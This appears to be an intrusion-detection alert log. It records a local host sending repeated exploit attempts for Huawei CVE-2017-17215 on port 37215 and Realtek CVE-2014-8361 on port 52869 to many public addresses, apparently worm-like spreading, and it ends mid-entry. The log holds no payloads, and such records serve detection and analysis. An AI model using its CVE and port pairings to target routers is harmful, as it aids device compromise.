Timestamp:	07/20/24-23:05:46.529020
SID:	2027339
Source Port:	60618
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 78.110.167.93

Timestamp:	07/20/24-23:05:51.461470
SID:	2831300
Source Port:	34294
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.116.62.195

Timestamp:	07/20/24-23:05:46.981572
SID:	2829579
Source Port:	52036
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 80.48.49.198

Timestamp:	07/20/24-23:05:51.419963
SID:	2027339
Source Port:	59900
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.107.121.28

Timestamp:	07/20/24-23:05:52.264315
SID:	2829579
Source Port:	41398
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.15.253.221

Timestamp:	07/20/24-23:05:46.986114
SID:	2829579
Source Port:	42104
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 65.195.221.85

Timestamp:	07/20/24-23:05:56.905634
SID:	2027339
Source Port:	52382
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 194.186.195.245

Timestamp:	07/20/24-23:05:46.976752
SID:	2835222
Source Port:	53532
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.59.238.179

Timestamp:	07/20/24-23:05:52.265126
SID:	2829579
Source Port:	59174
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 66.56.180.47

Timestamp:	07/20/24-23:05:46.364218
SID:	2027339
Source Port:	59752
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.219.200.135

Timestamp:	07/20/24-23:05:52.247739
SID:	2829579
Source Port:	56398
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 174.50.31.231

Timestamp:	07/20/24-23:05:46.915618
SID:	2835222
Source Port:	54346
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.128.226.57

Timestamp:	07/20/24-23:05:46.975762
SID:	2829579
Source Port:	47522
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 79.74.230.112

Timestamp:	07/20/24-23:05:54.771686
SID:	2027339
Source Port:	38458
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.218.198.120

Timestamp:	07/20/24-23:05:46.966276
SID:	2829579
Source Port:	44808
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.113.181.100

Timestamp:	07/20/24-23:05:46.971186
SID:	2835222
Source Port:	51172
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 88.169.184.0

Timestamp:	07/20/24-23:05:51.426840
SID:	2027339
Source Port:	35202
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 211.210.77.207

Timestamp:	07/20/24-23:05:52.256968
SID:	2835222
Source Port:	60644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 137.166.47.229

Timestamp:	07/20/24-23:05:52.265126
SID:	2829579
Source Port:	56276
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 108.182.178.131

Timestamp:	07/20/24-23:05:52.269606
SID:	2829579
Source Port:	45318
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 196.5.188.187

Timestamp:	07/20/24-23:05:47.473512
SID:	2025132
Source Port:	50094
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 78.233.207.44

Timestamp:	07/20/24-23:05:47.369590
SID:	2025132
Source Port:	41096
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 106.225.80.214

Timestamp:	07/20/24-23:05:46.752647
SID:	2025132
Source Port:	55814
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 83.110.174.139

Timestamp:	07/20/24-23:05:54.849179
SID:	2027339
Source Port:	39222
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 199.165.47.115

Timestamp:	07/20/24-23:05:54.852519
SID:	2025132
Source Port:	46548
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.90.187.218

Timestamp:	07/20/24-23:05:46.973669
SID:	2829579
Source Port:	37606
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 69.105.43.224

Timestamp:	07/20/24-23:05:46.570241
SID:	2027339
Source Port:	52694
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 2.151.18.206

Timestamp:	07/20/24-23:05:46.830108
SID:	2025132
Source Port:	37538
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.207.111.205

Timestamp:	07/20/24-23:05:52.199166
SID:	2829579
Source Port:	48374
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 51.210.97.246

Timestamp:	07/20/24-23:05:56.930135
SID:	2027339
Source Port:	51142
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 36.191.196.165

Timestamp:	07/20/24-23:05:56.941696
SID:	2025132
Source Port:	34054
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 101.73.4.16

Timestamp:	07/20/24-23:05:51.881997
SID:	2831300
Source Port:	39196
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 191.248.177.130

Timestamp:	07/20/24-23:05:51.419963
SID:	2831300
Source Port:	52160
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 132.142.106.204

Timestamp:	07/20/24-23:05:47.510743
SID:	2027339
Source Port:	41664
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 166.105.157.19

Timestamp:	07/20/24-23:05:46.923415
SID:	2829579
Source Port:	41578
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.153.74.23

Timestamp:	07/20/24-23:05:46.982455
SID:	2829579
Source Port:	36432
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.187.94.235

Timestamp:	07/20/24-23:05:46.975762
SID:	2835222
Source Port:	34648
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.187.161.26

Timestamp:	07/20/24-23:05:47.535438
SID:	2829579
Source Port:	38382
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.15.234.67

Timestamp:	07/20/24-23:05:52.265126
SID:	2835222
Source Port:	47392
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 185.226.52.199

Timestamp:	07/20/24-23:05:52.179209
SID:	2835222
Source Port:	42144
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 163.241.212.180

Timestamp:	07/20/24-23:05:46.982455
SID:	2829579
Source Port:	41472
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.205.60.158

Timestamp:	07/20/24-23:05:46.986114
SID:	2829579
Source Port:	40382
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 62.80.115.9

Timestamp:	07/20/24-23:05:47.425240
SID:	2025132
Source Port:	34076
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 121.224.21.158

Timestamp:	07/20/24-23:05:52.256968
SID:	2829579
Source Port:	33734
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 104.34.54.41

Timestamp:	07/20/24-23:05:51.426748
SID:	2027339
Source Port:	37412
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.218.198.120

Timestamp:	07/20/24-23:05:46.966276
SID:	2835222
Source Port:	44808
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.138.236.184

Timestamp:	07/20/24-23:05:52.251312
SID:	2829579
Source Port:	60632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 107.96.10.112

Timestamp:	07/20/24-23:05:51.428628
SID:	2831300
Source Port:	59592
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.195.213.199

Timestamp:	07/20/24-23:05:46.970753
SID:	2835222
Source Port:	46890
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.77.186.66

Timestamp:	07/20/24-23:05:52.192507
SID:	2835222
Source Port:	35310
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.116.8.6

Timestamp:	07/20/24-23:05:52.212387
SID:	2829579
Source Port:	47838
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.255.153.187

Timestamp:	07/20/24-23:05:52.179209
SID:	2835222
Source Port:	50976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.174.220.162

Timestamp:	07/20/24-23:05:52.311536
SID:	2829579
Source Port:	56504
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.179.38.142

Timestamp:	07/20/24-23:05:52.212387
SID:	2835222
Source Port:	35742
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.231.8.243

Timestamp:	07/20/24-23:05:46.978421
SID:	2829579
Source Port:	39968
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.161.174.159

Timestamp:	07/20/24-23:05:52.212387
SID:	2835222
Source Port:	41692
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 78.233.207.44

Timestamp:	07/20/24-23:05:47.369590
SID:	2027339
Source Port:	41096
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 51.210.97.246

Timestamp:	07/20/24-23:05:56.930135
SID:	2025132
Source Port:	51142
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 199.165.47.115

Timestamp:	07/20/24-23:05:54.852519
SID:	2027339
Source Port:	46548
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 111.53.163.147

Timestamp:	07/20/24-23:05:46.919504
SID:	2829579
Source Port:	56878
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 74.72.233.88

Timestamp:	07/20/24-23:05:51.421136
SID:	2027339
Source Port:	45692
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 53.15.204.183

Timestamp:	07/20/24-23:05:52.218581
SID:	2835222
Source Port:	49112
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 44.171.241.23

Timestamp:	07/20/24-23:05:46.976752
SID:	2829579
Source Port:	50592
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 9.76.18.143

Timestamp:	07/20/24-23:05:52.258489
SID:	2829579
Source Port:	55190
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 172.199.244.133

Timestamp:	07/20/24-23:05:56.811486
SID:	2025132
Source Port:	33094
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.102.235.10

Timestamp:	07/20/24-23:05:47.533810
SID:	2829579
Source Port:	54930
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.139.230.183

Timestamp:	07/20/24-23:05:52.199166
SID:	2835222
Source Port:	49266
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.249.186.160

Timestamp:	07/20/24-23:05:47.533361
SID:	2835222
Source Port:	43072
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.247.83.121

Timestamp:	07/20/24-23:05:46.912775
SID:	2829579
Source Port:	56854
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.30.207.238

Timestamp:	07/20/24-23:05:46.919504
SID:	2835222
Source Port:	54004
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 31.243.118.35

Timestamp:	07/20/24-23:05:54.861468
SID:	2027339
Source Port:	32972
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 80.0.23.33

Timestamp:	07/20/24-23:05:54.702850
SID:	2027339
Source Port:	54374
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 19.234.58.42

Timestamp:	07/20/24-23:05:52.184799
SID:	2835222
Source Port:	33354
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.27.189.109

Timestamp:	07/20/24-23:05:46.918113
SID:	2829579
Source Port:	40274
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.38.187.35

Timestamp:	07/20/24-23:05:46.971186
SID:	2835222
Source Port:	34934
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 70.169.229.113

Timestamp:	07/20/24-23:05:56.967216
SID:	2027339
Source Port:	41190
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 160.130.172.45

Timestamp:	07/20/24-23:05:52.247739
SID:	2829579
Source Port:	54376
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 37.234.99.161

Timestamp:	07/20/24-23:05:46.986114
SID:	2829579
Source Port:	58918
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.101.51.250

Timestamp:	07/20/24-23:05:47.533323
SID:	2835222
Source Port:	47720
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 142.17.9.107

Timestamp:	07/20/24-23:05:51.420131
SID:	2027339
Source Port:	37062
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 49.95.69.134

Timestamp:	07/20/24-23:05:46.390586
SID:	2027339
Source Port:	54564
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 92.253.193.163

Timestamp:	07/20/24-23:05:51.421493
SID:	2027339
Source Port:	60882
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 83.110.174.139

Timestamp:	07/20/24-23:05:54.849179
SID:	2025132
Source Port:	39222
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 69.105.43.224

Timestamp:	07/20/24-23:05:46.570241
SID:	2025132
Source Port:	52694
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.199.118.155

Timestamp:	07/20/24-23:05:52.269606
SID:	2829579
Source Port:	59118
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.136.196.45

Timestamp:	07/20/24-23:05:46.976751
SID:	2835222
Source Port:	51204
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 136.117.93.58

Timestamp:	07/20/24-23:05:51.461470
SID:	2027339
Source Port:	51670
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 136.107.92.11

Timestamp:	07/20/24-23:05:46.923415
SID:	2835222
Source Port:	59052
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 138.132.215.240

Timestamp:	07/20/24-23:05:47.435150
SID:	2025132
Source Port:	34854
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.120.68.241

Timestamp:	07/20/24-23:05:46.978420
SID:	2835222
Source Port:	58920
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 93.187.137.171

Timestamp:	07/20/24-23:05:51.461470
SID:	2027339
Source Port:	43586
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 137.106.194.233

Timestamp:	07/20/24-23:05:46.975762
SID:	2829579
Source Port:	35116
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.151.6.113

Timestamp:	07/20/24-23:05:52.199166
SID:	2829579
Source Port:	34304
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 193.225.90.79

Timestamp:	07/20/24-23:05:52.261192
SID:	2829579
Source Port:	32970
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 136.24.70.56

Timestamp:	07/20/24-23:05:46.782475
SID:	2027339
Source Port:	59228
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.18.75.134

Timestamp:	07/20/24-23:05:47.534849
SID:	2829579
Source Port:	52920
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.217.214.94

Timestamp:	07/20/24-23:05:52.179209
SID:	2835222
Source Port:	45586
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.208.62.251

Timestamp:	07/20/24-23:05:52.265126
SID:	2829579
Source Port:	40048
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 172.199.244.133

Timestamp:	07/20/24-23:05:56.811486
SID:	2027339
Source Port:	33094
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.153.119.252

Timestamp:	07/20/24-23:05:46.975762
SID:	2835222
Source Port:	58996
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.199.11.194

Timestamp:	07/20/24-23:05:46.982455
SID:	2835222
Source Port:	37948
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.90.99.192

Timestamp:	07/20/24-23:05:52.297846
SID:	2835222
